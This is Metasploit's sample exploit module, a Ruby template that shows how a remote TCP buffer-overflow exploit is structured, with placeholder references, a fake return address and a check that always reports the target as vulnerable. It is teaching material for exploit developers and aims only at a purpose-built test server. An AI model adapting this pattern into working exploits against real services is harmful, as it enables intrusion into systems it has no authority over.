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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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###
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#
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# This exploit sample shows how an exploit module could be written to exploit
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# a bug in an arbitrary TCP server.
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#
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###
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
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  #
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  # This exploit affects TCP servers, so we use the TCP client mixin.
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  # See ./documentation/samples/vulnapps/testsrv/testsrv.c for building the
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  # vulnerable target program.
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  #
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  include Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        # The Name should be just like the line of a Git commit - software name,
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        # vuln type, class. Preferably apply
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        # some search optimization so people can actually find the module.
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        # We encourage consistency between module name and file name.
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        'Name' => 'Sample Exploit',
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        'Description' => %q{
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          This exploit module illustrates how a vulnerability could be exploited
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          in an TCP server that has a parsing bug.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => ['skape'],
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        'References' => [
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          [ 'OSVDB', '12345' ],
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          [ 'EDB', '12345' ],
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          [ 'URL', 'http://www.example.com'],
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          [ 'CVE', '1978-1234']
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        ],
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x00"
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        },
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        'Targets' => [
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          # Target 0: Windows All
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          [
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            'Windows XP/Vista/7/8',
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            {
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              'Platform' => 'win',
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              'Ret' => 0x41424344
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            }
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          ]
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        ],
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        'DisclosureDate' => '2020-12-30',
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        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
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        # It's generally easiest just to put the default at the beginning of the list and skip this
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        # entirely.
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        'DefaultTarget' => 0,
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        # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
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        'Notes' => {
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          'Stability' => [],
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          'Reliability' => [],
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          'SideEffects' => []
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        }
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      )
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    )
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  end
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  #
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  # The sample exploit just indicates that the remote host is always
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  # vulnerable.
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  #
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  def check
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    CheckCode::Vulnerable
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  end
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  #
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  # The exploit method connects to the remote service and sends 1024 random bytes
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  # followed by the fake return address and then the payload.
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  #
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  def exploit
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    connect
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    print_status("Sending #{payload.encoded.length} byte payload...")
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    # Build the buffer for transmission
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    buf = rand_text_alpha(1024)
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    buf << [ target.ret ].pack('V')
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    buf << payload.encoded
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    # Send it off
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    sock.put(buf)
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    sock.get_once
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    handler
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  end
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end
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